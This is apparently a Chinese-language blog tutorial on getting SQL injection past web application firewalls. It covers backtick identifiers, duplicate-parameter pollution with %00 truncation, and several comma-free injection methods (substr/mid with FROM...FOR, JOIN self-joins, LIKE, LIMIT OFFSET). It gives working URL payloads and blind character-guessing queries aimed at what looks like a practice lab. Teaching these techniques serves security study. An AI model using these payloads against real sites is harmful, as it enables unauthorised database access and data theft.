当前位置:网站首页>SQL 注入绕过(二)
SQL 注入绕过(二)
2022-06-28 00:17:00 【Aτθ】
一、反引号绕过
在 mysql 可以使用 `这里是反引号` 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1

二、脚本语言特性绕过
1、介绍
在 php 语言中,id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些 waf 的拦截。
id=1%00&id=2 union select 1,2,3
有些 waf 会去匹配第一个 id 参数1%00, %00 是截断字符,waf 会自动截断 从而不会检测后面的内容。到了程序中,id 就等于 id=2 union select 1,2,3 从绕过注入拦截。
其他语言特性

2、实操1


3、实操2
?name=vince%00&name=' union select 1,database()--+&submit=1

三、逗号绕过
目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号。
select * from users where id=1 union select 1,2,3,4;
一般会对逗号过滤成空,select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以,可以不使用逗号进行 SQL 注入。
绕过方法如下:
1、第一种方式:substr 截取字符串
查询当前库第一个字符:
select(substr(database() from 1 for 1));
查询 p 等于 select(substr(database() from 1 for 1)),页面返回正常。
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
可以进一步优化 m 换成 hex 0x6D,这样就避免了单引号。
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));

?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1


2、第二种方式:mid 截取字符串
这个 min 函数跟 substr 函数功能相同,如果 substr 函数被拦截或者过滤可以使用这个函数代替。
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));

3、第三种方式: 使用 join 绕过
使用 join 自连接两个表:
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b,其中a 和 b 分别是表的别名。
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
这里也没有使用逗号,从而绕过 waf 对逗号的拦截。

4、第四种方式:like 绕过
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1,否则返回 0
找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串,最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。

5、第五种方式:limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目,limit 0,1 返回条一条记录。如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截。

边栏推荐
- MySQL十种锁,一篇文章带你全解析
- Adobe Premiere基础-编辑素材文件常规操作(脱机文件,替换素材,素材标签和编组,素材启用,便捷调节不透明度,项目打包)(十七)
- COSCon'22 讲师征集令
- ionic4实现半星评分
- [Yocto RM]1 - System Requirements
- Take n multiple table names of a database as the values of a column in another table (the range can be a table in another database)
- Jenkins - built in variable access
- Is it safe to open an online futures account?
- The interviewer asked: can you simulate the new operator of JS
- 基于AM335X开发板 ARM Cortex-A8——Acontis EtherCAT主站开发案例
猜你喜欢
![[Niuke discussion area] Chapter 4: redis](/img/53/f8628c65890f1c68cedab9008c1b84.png)
[Niuke discussion area] Chapter 4: redis

数据库的新选择 Amazon Aurora

Adobe Premiere基础-常用的视频特效(裁剪,黑白,剪辑速度,镜像,镜头光晕)(十五)

Google Earth engine (GEE) -- an error caused by the imagecollection (error) traversing the image collection

Adobe Premiere基础-声音调整(音量矫正,降噪,电话音,音高换挡器,参数均衡器)(十八)

Cesium obtains the latitude and longitude range of the screen

Adobe Premiere Basics - common video effects (cropping, black and white, clip speed, mirroring, lens halo) (XV)

9. Openfeign service interface call

声网 VQA:将实时互动中未知的视频画质用户主观体验变可知

TI AM3352/54/59 工业核心板硬件说明书
随机推荐
Drug interaction prediction based on learning size adaptive molecular substructure
fiddle如何使用代理
Intensive reading of transformer thesis paragraph by paragraph
frp实现内网穿透
[Yocto RM] 2 - Yocto Project Terms
[Yongyi XY chair] trial experience
Cesium obtains the latitude and longitude range of the screen
[Yocto RM]1 - System Requirements
OS模块与OS.path 模块的学习
Review of drug discovery-03-molecular design and optimization
JS array random value (random array value)
Jenkins - access the Jenkins user-defined parameter variable, and handle the variable value containing spaces
TIA botu_ Concrete method of making analog input and output Global Library Based on SCL language
Maimai hot post: Why are big factories keen on making wheels?
Adobe Premiere Basics - common video effects (corner positioning, mosaic, blur, sharpen, handwriting tools, effect control hierarchy) (16)
Appium自动化测试基础 — ADB常用命令(一)
[Yocto RM]8 - OpenEmbedded Kickstart (.wks) Reference
【sylixos】NEW_ Example of type 1 character drive
Data analysts too hot? Monthly income 3W? Tell you the true situation of this industry with data
混合app的介绍